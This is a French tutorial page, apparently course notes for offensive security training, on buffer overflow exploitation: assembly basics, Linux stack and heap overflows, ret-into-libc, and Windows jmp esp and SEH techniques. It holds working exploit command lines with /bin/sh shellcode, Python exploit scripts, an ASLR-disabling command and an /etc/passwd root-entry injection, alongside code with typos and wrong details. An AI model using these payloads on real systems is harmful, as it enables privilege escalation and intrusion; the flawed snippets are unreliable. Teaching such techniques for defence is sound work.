Buffer Overflow
🔒 Contenu de sécurité — usage encadré
Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).
Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.
| Fiche express | |
|---|---|
| Type | Attaque applicative / corruption memoire |
| Cibles | Binaires natifs (C/C++) |
| Zones | Pile (stack), tas (heap) |
| Protections | ASLR, DEP, stack cookies, SafeSEH |
L'attaque par buffer overflow (depassement de tampon) sature les memoires tampons d'une application pour ecraser des donnees de controle (adresse de retour EIP, pointeurs SEH...) et detourner le flot d'execution vers un Shellcode. Cette page couvre les rappels assembleur, l'exploitation de la pile et du tas sous Linux, ainsi que les techniques Windows (jmp esp, pop/pop/ret, SEH).
RAPPEL : la payload (adresse de retour) doit etre inversee au format little endian.
Présentation
L'attaque par buffer overflow est une attaque applicative qui sature les memoires tampons de l'application afin de passer les sécurités pré-établies.
Il faut donc charger l'application. Les attaques peuvent donc changer selon le type de l'application, sa nature et son langage de programmation.
- RAPPEL: La payload doit etre tranformer au format little endian.
Protection
- ASLR
- DEP
Astuce
- solution version simple : Décalage de 40 caractères
python -c 'print("A" * 40 + "\xef\xbe\xad\xde")' | ./appName
buffer overflow
- Assembleur
Il existe plusieurs memoire qui permettent à l'application de fonctionner dans les memoires CPU:
- EAX
- EBX
- ECX
- EDX
- squelette d'un programme en assembleur
vi .squelette.asm
%include ''asm_io.inc''
segment .data
;Les données initialisées sont placées dans ce segment de données
segment .bss
:Les données non initialisables sont placés dans le segment bss
segment .text
global _adm_main
_asm_main:
enter 0,0
pusha
; Le code est placé ici
popa
mov eax,0
leave
ret
L'application nasm permet de compiler le code au format assembleur:
# yum install masm # nasm -f format premier.asm
- Rappel en C
# gcc -c progC.c # compiler # gcc -o premier progC.o premier.o asm_io.o # lier une librarie a la compilation # gcc -o premier progc.c premier.o asm_io.o # compiler et lier en une seule commande
- premier code en asm
%include ''asm_io.inc''
segment .data
prompt db "Entrer un nombre : ",0
prompt db "Entrer un deuxieme nombre : ",0
prompt db "Le resultat est : ",0
segment .bss
nbr rsb 1
segment .text
global _asm_main
_asm_main
enter 0,0
pusha
mov EAX,prompt1
call print_string
call read_int
mov [nbr],EAX
mov EAX,prompt2
call print_string
call read_int
add EAX,[nbr]
mov EBX,EAX
mov EAX,prompt3
call print_string
mov EAX,EBX
call print_int
popa
mov eax,0
leave
ret
- le 'IF' en assembleur
:if (EAX==0)
EBX=1;
else
EBX=2;
--------------------
cmp eax,0
jz bcl
mov ebx,2
jmp suivant
bcl:
mov ebx,1
suivant :
=====================
if (EAX>=5)
EBX=1;
else
EBX=2;
--------------------
cmp eax,5
jge bcl
mov ebx,2
jmp suivant
bcl:
mov ebx,1
suivant :
- jz = jump if zero
- jge = jump if greater or egal
- la boucle for :
var = 0;
for (i=10;i>0;i--)
var+=1;
-----------------------
mov eax,0
mov ecx,10
bcl:
add eax,ecx
loop bcl
- LOOPE, LOOPZ : decremente ECX et saute a l'adresse indiquée si ECX est different de 0 et ZF egal à 1
- LOOPNE, LOOPNZ : decremente ECX et saute à l'adresse indiquée si ECX est different ou egal à 0.
- la boucle while :
while (condition)
{
corps de la boucle;
}
-----------------------
bcl:
jxx fin
;corps de la boucle
jmp bcl
fin:
- La boucle DO WHILE
Do
{
Corps de la boucle;
}while(condition);
----------------------
bcl :
;corps de la boucle
:code pour positionner FLAGS suivant la condition
jxx bcl
Liste d'instruction ASM
- JA Jump if Above
- JAE Jump if Above or Eq
- JB Jump if Below
- JBE Jump if Below or Eq
- JCXZ Jump if CX = 0
- JE Jump if Equal
- JG Jump if Equal
- JGE Jump if Greater or Equal
- JL Jump if Less
- JLE Jump if Less or Equal
- JMP Jump
- JNA Jump if Not Above
- JNAE Jump if Not Above or Equal
- JNB Jump if Not Below
- JNBE Jump if Not Below or Equal
- JNG Jump if Not Greater
- JNGE Jump if Not Greater or Equal
- JNL Jump if Not Less
- JNLE Jump if Not Less or Equal
- JNO Jump if Not OverFlow
- JNP Jump if Not Parity
- JNS Jump if Not Sign
- JNZ Jump if Not Zero
- JO Jump if OverFlow
- JP Jump if Parity
- JPE Jump if Parity Even
- JPO Jump if Parity Odd
- JS Jump if sign
- JZ Jump if Zero
- LAHF Load AH with flags
- LDS Load pointer to DS
- LEA Load Effective Address
- LES Load pointer to ES
- LOCK
- LODB Load Bytes
- LODW Load Word
- LOOP
- LOOPE Loop while Equal = LOOPZ
- LOOPNE Loop while Not Equal
- LOOPZ Loop while Zero
%define SIZE 100 %define ch1 dword [ebp+8] %define ch2 dword [ebp+12]
- print_int Affiche à l'ecran la valeur d'un entier stocké dans EAX
- print_char Affiche à l'ecran la valeur du code ascii stocké dans AL
- print_string Affiche à l'ecran la valeur d'une chaine de caracteres stockées dans EAX
- print_nl Va a la ligne
- read_int lit un entier du clavier et le stoker dans EAX.
- read_char Lit un caractere au clavier et stocke son code ASCII dans le registre EAX
- dump_regs Affiche les valeus de registre, des flags
- dump_mem Affiche les valeurs d'une certaine region de la memoire.
- dump_stack Affiche les valeurs de la pile du processeur
- dump_math Affiche les valeurs des registres du coprocesseurs mathematiques
Les interuptions
- http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
- sys_exit
- sys_fork
- sys_read
- sys_write
- sys_open
- sys_close
- sys_waitpid
- sys_creat
- sys_link
- sys_unlink
- sys_execve
- sys_chdir
- exemple de script
int() {
char *string='bonjour, tous le monde !' ;
write(1,string,23);
}
--------------------------------------------
Xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
jmp short string
code :
pop ecx
mov b1,1
mov d1,23
mov a1,4
int 0x80
dec b1
mov a1,4
int 0x80
string:
call code
db 'bonjour, tout le monde ! '
- heap : region de memoire qui peut etre affectée de maniere dynamique par les applications. (malloc()/free())
- stack (LIFO): zone d'entree sortie de memoire au format pile qui permets d'empiler les données stockées (push -> ajouter une entrée / pop retirer une entrée)
Pour comprendre le mode de fonctionnement, il faut imaginer une pile d'assiette empilé et accroché au plafond, les nouvelles assiettes sont empilé vers le bas. Notre pointeur ESP (Extented stack Pointer) servira a la commande call qui nous retournera le contenu. ce contenu sera stocké dans EIP.
shell code
Il fonctionne dans le premier cas avec un fichier qui possede des droits SUID :
- recherche de fichiers :
# find / -type f -perm -4000
- script qui permets d'encoder un code python en assembleur
# vi shellcode.py
#!/usr/bin/env python
import os
file=raw_input("entrez le nom de votre programme en assembleur\n")
file1=file.split('.')
command="nasm "+file+" -o "+file1[0]+".o"
os.system(command)
command2="ndisasm -u "+file1[0]+".o >> shelltemp"
os.system(command2)
fd=open("shelltemp",'r')
ligne="".join(fd.readline())
os.system("touch shellcode1")
fl=open("shellcode1",'w')
while ligne:
tp=ligne.split(" ")
fl.write(tp[2])
ligne="".join(fd.readline())
fl.close()
fl=open("shellcode1",'r')
code=f1.read(2)
os.system("touch shellcode")
fc=open("shellcode",'w')
fc.write(r'shellcode[]="')
while code:
hex=r"\x"+code
fc.write(hex)
code=fl.read(2)
fc.write(r'";')
fl.close()
fc.close()
os.system("rm shellcode1")
fd.close()
os.system("rm shelltemp")
buffer overflow
Ce type d'attaque est maintenant deprecated puisque les kernel des systeme sont patchés pour ramdomiser les entrées memoire :
# cat /proc/sys/kernel/randomize_va_space # echo 0 > /proc/sys/kernel/randomize_va_space
- programme qui va nous servir à l'overflow
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int vuln(char *arg)
{
char buffer[512];
strcpy(buffer,arg)
return 1;
}
int main (int argc, char **argv)
{
if(arg<2)exit(0);
vuln(arg[1]);
exit(1);
}
Si nous ecrasons tout le buffer, les 4 octets suivants (taille d'un registre), nous écraserons le mémoire EBP, puis avec les 4 suivants nous attaquerons la memoire EIP.
# gcc -o premier premier.c # chmod u+s premier
- test de la faillabilité de l'application : nous recherchons à dépasser le tampon et atteindre une segmentation fault en retour d'application :
# ./premier `python -c 'print "A" * 1000'`
- debugger l'application :
# gdb ./premier (gdb) r `python -c 'print "A" * 1000'` 0x41414141 in ?? ()
Le retour de la segmentation indique dans EIP des AAAA (code heax : 41).
- Nous ne sommes pas sensés conaitre la taille du buffer, il faut donc faire du tatonnement en recherche par element median
# gdb ./premier (gdb) r `python -c 'print "A" * 500'` (gdb) r `python -c 'print "A" * 550'` (gdb) r `python -c 'print "A" * 525'` (gdb) r `python -c 'print "A" * 515'` (gdb) r `python -c 'print "A" * 518'`
Nous avons donc 520 A pour ecraser l'adresse de retour EIP :
==== ===================== ===== ===== ===== ============
| | | BUFFER | |EBP| |EIP| |ARG| | PILE |
==== ===================== ===== ===== ===== ============
| 512 octets | |4o | |4o |
===================== ===== =====
(gdb) r `python -c 'print "A" * 512 + "ZZZZ" + "DCBA"`
(gdb) 0x41424344 in ?? ()
- Nous allons placer donc un retour dans la zone EIP afin de la faire pointer sur notre shellcode :
----------------------------
|end |begin
==== ===================== ====== ========= ===== ============
| | | Nop + ShellCode | |ZZZZ| |@retour| |ARG| | PILE |
==== ===================== ====== ========= ===== ============
| 512 octets | |4o | |4o |
===================== ====== =========
Il faut donc injecter notre shellcode dans le buffer en finissant par un bourrage de x90.
shellcode[]="\x31\xC0\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80";
- Notre shellcode fait 24 octets., il faut donc 512 - 24 = 488 octets par NOP
(gdb) r `python -c 'print "\x90" * 488 + "\x31\xC0\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80" + "ZZZZ" + "DCBA"` segmentation fault 0x41424344 in ?? ()
- Il faut trouver une adresse de retour pour pointer vers notre shellcode. Pour cela, on va faire apparaitre les NOP en mémoire avec leurs adresses:
(gdb) x/2000x $esp
- commande finale:
(gdb) r `python -c 'print "\x90" * 488 + "\x31\xC0\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80" + "ZZZZ" + "DCBA" + "\x10\xf4\xff\xbf"` ... executing new program: /bin/bash
- ATTENTION : il faut inverser l'adresse d'entrée : ecriture en mode little endian :
0xbffff410 devient \x10\xf4\xff\xbf
ou
0xdeadbeef devient efbeadde donc \xef\xbe\xad\xde
heap overflow
On va attaquer dans cet exemple les familles de commande malloc(), calloc(),realloc()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
FILE *fd;
char *entreutilisateur=malloc(20);
char *sortiefichier=malloc(20);
printf("===================================================\n");
printf(" HEAP OVERFLOW - Acissi - ENI editions\n ");
printf("===================================================\n\n");
if(arg 2)
{
printf("Usage: %s <La chine va etre ecrite dans /tmp/eni>\n",argv[0]);
exit(0);
}
strcpy(sortiefichier,"/tmp/eni");
strcpy(sortiefichier,"/tmp/eni");
printf("Ecriture de \"%s\" a la fin de %s...\n",entreutilisateur,sortiefichier);
fd=fopen(sortiefichier,"a");
if(fd==NULL)
{
fprintf(strerr,"impossible d'ouvrir %s\n",sortiefichier);
exit(1);
}
fprintf(fd,"%s\n",entreutilisateur);
fclose(fd);
return 0;
}
# ./ecrire "Ethical hacking" # ./ecrire 012345678912345678901234567890/tmp/fichier_test
- nous allons essayer d'ecrire dans le fichier /etc/passwd
fasm:x:1000:1000:fasm,,,:/home/fasm:/bin/bash rfasm::0:0:fasm:/root:/tmp/etc/passwd
=> nous devons ramener cette entrée à 24 octets :
rfasm::0:0:fa:/root:/tmp
- injection
./ecriture rfasm::0:0:fa:/root:/tmp
Le script vient d'ecrire sortie dans le fichier
# cat /etc/passwd
Une modification technique oblige à créer un lien :
# mkdir /tmp/etc/ # ln -s /bin/sh /tmp/etc/passwd
- faille return into libc (RET-into-libc)
ATTENTION : Les systemes récents sont patché face a cette faille.
#include <string.h>
int main( int argc, char **argv)
{
char buffer[64];
strcpy(buffer,argv[1]);
return(0);
}
- Faille classique : aucun controle de ce qui sera copié dans le buffer. (strcpy)
# gcc -g Wall vuln_rilc.c -o vuln_rilc # sudo su # chown root:root vuln_rilc # chmod u+s vuln_rilc
- debugger
# gdb -q vuln_rilc (gdb) set disassembly-flavor (gdb) dissas main
- point d'arret sur le strcpy
(gdb) b *0x08048448 (gdb) r `python -c '"A" * 100'` (gdb) x/x buffer+68 (gdb) i r ebp (gdb) x/x buffer+72 (gdb) i r ebp (gdb) c
seg fault
Donc des ue nous avons plus de 68 caracteres, strcpy provoque un seg fault en réécrivant sur les pointeurs EBP et EIP (EBP => pointeur de frame / EIP => pointeur de d'instructions)
(gdb) p system (gdb) p exit
- nous allons utiliser le script suivant pour trouver l'adresse du pointeur d'instruction :
#include <stdio.h>
int main (int argc, char *argv[])
{
if (argc 2)
{
printf("Utilise un argument !!!");
exit(0);
}
char *addr
addr = getenv(argv[1]);
if (addr != NULL)
printf("%s est localisé en b %p\n", argv[1],addr);
return 0;
}
# export SHELL=/bin/sh # .getenv SHELL SHELL est localisé en 0xbffff788 # ./vuln_rilc `python -c 'print "A" * 68 + "\xbO\x28\xea\xb7" + "ABCD" + "\x88\xf7\xf\xbf"'`
Le retour est un shell => cosulter les formats string, return into lib chainés.
windows
=> crack-me : executable de test pour les debuggers.
#include "string.h"
void function(char* buf)
{
char ownz[10];
strcpy(ownz, buf);
}
int main(int argc, char* argv[ ])
{
function(argv[1])
return 0;
}
# hack1.exe AAAADCBA # hack2.exe AAAAAAAADCBA ....
- Le but est toujours d'ecraser EIP. (offset : 41424344)
*ajouter des arguments dans la console debug > debug - arguments ajouter des ZZZZ apres la suite DCBA.
cliquer sur e de la barre des taches pour affciher les bibliothes charges par le processus. Il faut trouver le jmp esp.
> click droit > search for - command > "JMP ESP" > FIND
on trouve l'adresse de la commande dans le kernel.dll
- on va creer notre exploit
import os
ret="\x7B\x46\x86\x7c"
JUNK='\x90'*20
SHELLCODE="\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63"
var="A"*28+ret+JUNK+SHELLCODE
arg0='hack1.exe'
args=[arg0]+[var]
os.execv(arg0, args)
# python hack1.py
=> le shellcode présent lance uniquement la calculatrice.
- placer une grand shell code :
placons un point d'arret sur \xcc
# hack1.exe [AAAAAAA] [\x7B\x46\x86\x7C] [jmp argv[2]] [\xcc]
Dans immunity placer un breakpoint avec F2 (on recherche la valeur \xcc ):
- En avancant dans le programme on retrouve dans le registre EBP 41414141 et dans EIP 41424344. On voit que ECX pointe vers la commande jmp ecx, il faut donc trouver une instruction qui utilise cette commande pour mettre cette adresse dans EIP.
On, reprends le code précedent en y placant des NOP
import os
ret="\x7B\x46\x86\x7c"
jmpecx="\xE9\x7C\x25\x1B"
SHELLCODE="\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63"
var="A"*28+ret+jmpecx+" " +10*"\x90"+SHELLCODE
arg0='hack1.exe'
args=[arg0]+[var]
os.execv(arg0, args)
# python hack1.py
execution d'un fonction non prevue
##include "stdio.h"
#include "string.h"
#include "stdlib.h"
int copy(char* input)
{
char var[20];
strcpy(var,input);
}
int fonction_cachee(void)
{
printf("Vous etes dans la fonction cachée");
exit(0);
}
int main(int argc,char* argv[])
{
if (argc<2)
{
printf("Usage ; %s<string>\r\n",argv[0]);
exit(1);
}
printf("adresse de la fonction : 0x%08x\n", fonction_cachee);
copy(argv[1]);
return 0;
}
- envoi d'argument dans la fonction : AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM
si la fonction plante avec 4c4c4c4c sur EIP, cela signifie que EPB est ecrasé par KKKK.
création de l'exploit :
import os
var="A"*44+"\xb0\12\x40"
arg0='basichack.exe'
args=[arg0]+[var]
os.execv(arg0, args)
=> la fonction jmp esp est la fonction parfaite
autres methodes
- junmp(call)
- Pop Return
- Push Return
- Jmp [reg + offset]
- Blind Return
- SEH
méthode call [reg]
Si le registre est directement chargé avec l'adresse du shellcode en memoire, on peux faire un call [reg]. => populaire -> findjmp
methode pop ret
- methode a utiliser si aucun registre ne pointe vers notre shellcode.
Il faut trouver une adresse qui pointe vers notre shellcode dans la pile. On fait donc des pop ret, ou des pop pop ret, ou pop pop pop ret.
Notre shellcode n'est pas trouvé dans EIP, mais à ESP+8. Il faut donc décaler ESP de 8 ou nous placons un jmp pour taper sur notre shellcode.
->-->-->---
| |
[AAAAAAAA...AAAA][@pop pop ret][nopnop...nop][@jmp esp][shellcode]
| |
----->------>---->----->----
push return
- cette methode est similaire au call [reg].
Si un registre pointe vers notre shellcode et que nous ne pouvons pas utiliser jmp [reg], on peux utiliser cette methode. Il faut placer cette adresse dans la pile et faire un ret pour executer notre shellcode.
Il faut ecraser EIP avec une adresse d'un push[reg] + ret se trouvant dans une dll.
jmp [reg] + [offset]
Lorsque notre shellcode commence a ESP+8, il faut faire un jmp[reg+offset].
Il faut :
- Trouver l'opcode (ex : jmp esp+8)
- Trouver une adresse qui pointe vers cette instruction
- Ecraser EIP avec cette adresse
= blind return
A faire si :
- nous ne pouvons pas faire pointer EIP vers l'adresse d'un registre directement
- Mais nous pouvons controler les données dans ESP
Il faut :
- Ecraser EIP avec une adresse pointant sur une instruction ret.
- Mettre une adresse physique du shellcode dans les quatres octets de ESP
- Quand le ret est executé, les 4 octets mis en dernier sont retirés de la pile pour aller dans EIP.
- on saute au sehellcode qui est executé.
travail avec un petit shellcode
Si notre shellcode est plus grand que le buffer. Il faut trouver une adresse dans la memoire, par a ESP+100. Nous trouverons l'adresse exacte en utilisant genbuff.py ou l'outil pattern de metasploit.
add esp,0x22
add esp,0x22
add esp,0x22
jmp esp
Le programme donne en hexa :
\x83\xc4\x22\x83\xc4\x22\x83\xc4\x22\xFF\xe4
SHELLCODE Adresse d'un jmp esp dans une dll
| |
[Ax80]['\x90'x50][\xcc][Ax869][EIP]['X' * 4][saut 100]
|------- buffer = 1000------ | |
Junk avant code.
SEH - Structured exception Handling
- exception Handling est une fonction qui permet de gérer les erreurs. Lorsque l'application comet une erreur qui n'est pas géré, le système prends la main.
try
{
ecexution normale du programme, si exeption on va au catch :
}
catch
{
Arrive ici lors de l'exeption
}
Un pointeur dans chaque frame est créé pour pointer vers cette exception et ce pour chaque fonction/procédure. Une structure nommée exception_registration est sauvegardée dans la pile de la frame de base de l'exception handler.
Cette structure est de 8 octets et contient :
- un pointeur sur la prochaine structure "exception registration"
- un pointeur sur l'adresse du code actuel de l'exception handler (SEH handler)
Un pointeur est placé sur le haut de la chaine SEH (sur le haut de du bloc de données de la fonction TEB : Thread Environnement Block / TIB : Thread information Block). Cette chane est appelée la chine FS:[0]
Dans imminuty debugger on trouve l'instruction : MOV DWORD PTR FS:[0],ESP (opcode : 64A100000000)
- Les protections de SEH :
XOR : depuis windows XP tous les registres sont mis a zero par des fonctions XOR sur eux memes. Cela signifie que vous pouvez voir une registre pointer vers un shellcode mais en sortant de l'exception ces registres sont remis à zeros, ce qui empeches sont execution.
DEP (data execution prevention) et stack cookies - option du compilateur C++ (ils sont apparus windows 2003 XP SP2).
SafeSEH : encore des protections.
- XOR et SAFE:
A cause de ces protections l'appel par un jmp n'est pas possible. Il faut passer par des appels de procédure en passant par des DLL.
Pour cela une faut une DLL applicative et non systeme. Le principe est donc de remplacer le registre d'envois vers l'exception pour y placer notre shellcode.
La serie d'instruction sera POP POP RET.
- Causer une exception
- ecraser le pointeur du prochain SEH avec des jmpcode
- ecraser le SEH handler avec un pointeur vers une instruction qui vous ramenera vers le SEH suivant qui executera le shellcode.
- le shellcode devra etre placé directement apres l'ecrasement du SEH handler
exception forcée > SEH Handler courant > POP POP RET(ESP+8) > Pointeur vers le prochains SEH > shellcode
- payload format :
[JUNK][nSEH][SEH][NOP+SHELLCODE] nSEH : saut vers le shellcode SEH : reference vers un POP POP RET.
fuzzing
Avant de faire une attaque, il faut tester la fiabilité de l'application avec des applications de type :
- fusil
- spike
=> description du fonctionnement :